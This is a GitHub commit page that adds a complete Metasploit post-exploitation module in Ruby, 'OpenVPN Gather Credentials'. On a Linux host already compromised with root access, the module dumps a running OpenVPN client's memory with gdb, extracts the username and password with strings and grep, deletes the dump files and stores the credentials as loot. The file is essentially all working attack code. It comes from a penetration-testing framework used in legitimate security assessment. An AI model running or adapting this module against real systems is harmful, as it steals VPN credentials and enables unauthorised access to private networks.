Skip to content

Commit 16e6ced

Browse files
committed
Land rapid7#6108, OpenVPN creds scraper
2 parents 5303079 + 601d4fd commit 16e6ced

File tree

1 file changed

+92
-0
lines changed

1 file changed

+92
-0
lines changed
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit4 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Linux::Priv
13+
include Msf::Post::Linux::System
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'OpenVPN Gather Credentials',
18+
'Description' => %q{
19+
This module grab OpenVPN credentials from a running process
20+
in Linux.
21+
22+
Note: --auth-nocache must not be set in the OpenVPN command line.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'rvrsh3ll', # Discovery
28+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module
29+
],
30+
'Platform' => ['linux'],
31+
'SessionTypes' => ['shell', 'meterpreter'],
32+
'References' => [
33+
['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']
34+
]
35+
))
36+
37+
register_options(
38+
[
39+
OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),
40+
OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])
41+
], self.class
42+
)
43+
end
44+
45+
def pid
46+
datastore['PID']
47+
end
48+
49+
def tmp_path
50+
datastore['TMP_PATH']
51+
end
52+
53+
def run
54+
user = cmd_exec('/usr/bin/whoami')
55+
print_good("Module running as \"#{user}\" user")
56+
57+
unless is_root?
58+
print_error('This module requires root permissions.')
59+
return
60+
end
61+
62+
dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
63+
if dump.chomp.to_i == 0
64+
vprint_good('Succesfully dump.')
65+
else
66+
print_warning('Could not dump process.')
67+
return
68+
end
69+
70+
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
71+
72+
deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
73+
if deldump.chomp.to_i == 0
74+
vprint_good('Removing temp files successfully.')
75+
else
76+
print_warning('Could not remove dumped files. Remove manually.')
77+
end
78+
79+
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
80+
81+
vprint_good("OpenVPN Credentials:\n#{strings}")
82+
83+
p = store_loot(
84+
'openvpn.grab',
85+
'text/plain',
86+
session,
87+
strings,
88+
nil
89+
)
90+
print_status("OpenVPN Credentials stored in #{p}")
91+
end
92+
end

0 commit comments

Comments
 (0)